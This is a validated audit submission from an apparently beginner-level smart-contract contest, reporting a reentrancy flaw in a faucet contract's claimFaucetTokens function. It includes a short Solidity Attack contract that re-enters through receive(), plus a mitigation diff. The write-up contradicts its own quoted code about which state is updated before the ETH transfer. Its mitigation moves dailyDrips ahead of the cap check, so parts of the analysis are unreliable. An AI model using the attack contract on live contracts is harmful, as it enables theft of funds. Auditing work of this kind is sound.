Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `claimFaucetTokens`

Description

The claimFaucetTokens function allows users to claim faucet tokens and, for first-time claimers, a small amount of Sepolia ETH. The function performs an external ETH transfer before updating critical state variables (lastClaimTime, dailyClaimCount, dailyDrips, hasClaimedEth), enabling a malicious contract to re-enter the function via its receive or fallback function. This can allow multiple claims before state updates occur, bypassing cooldowns and limits.

// Root cause in the codebase with @> marks to highlight the relevant section
function claimFaucetTokens() public {
// ... checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... daily drip checks ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@>(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // External call before state updates
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(...);
}
}
// ... state updates like lastClaimTime and dailyClaimCount occur here ...
}

Risk

Likelihood:

  • Occurs when a claimant is a malicious contract with a crafted receive or fallback function that re-enters claimFaucetTokens.

  • Occurs during the first claim by a user, as the ETH transfer is only performed for first-time claimers.

Impact:

  • Malicious contract can drain the contract’s ETH balance by repeatedly claiming before dailyDrips or hasClaimedEth is updated.

  • Can bypass dailyClaimLimit and CLAIM_COOLDOWN, allowing excessive token claims.

Proof of Concept

Explanation: The following PoC demonstrates how a malicious contract can exploit the reentrancy vulnerability. The Attack contract calls claimFaucetTokens and, upon receiving ETH, re-enters the function multiple times before the state is updated, allowing it to claim additional tokens and ETH.

contract Attack {
RaiseBoxFaucet faucet;
uint256 count;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
if (count < 5) { // Re-enter multiple times
count++;
faucet.claimFaucetTokens();
}
}
function attack() external {
count = 0;
faucet.claimFaucetTokens();
}
}

Recommended Mitigation

Explanation: To prevent reentrancy, we add OpenZeppelin’s ReentrancyGuard to the contract and apply the nonReentrant modifier to claimFaucetTokens. Additionally, we reorder state updates (lastClaimTime, dailyClaimCount, hasClaimedEth, dailyDrips) before the ETH transfer to follow the Checks-Effects-Interactions pattern, ensuring the state is updated before any external call.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
function claimFaucetTokens() public +nonReentrant {
// Move state updates before external calls
// ... checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... daily drip checks ...
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+ hasClaimedEth[faucetClaimer] = true;
+ dailyDrips += sepEthAmountToDrip;
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// ... rest of function ...
}
}
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// ... rest of function ...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.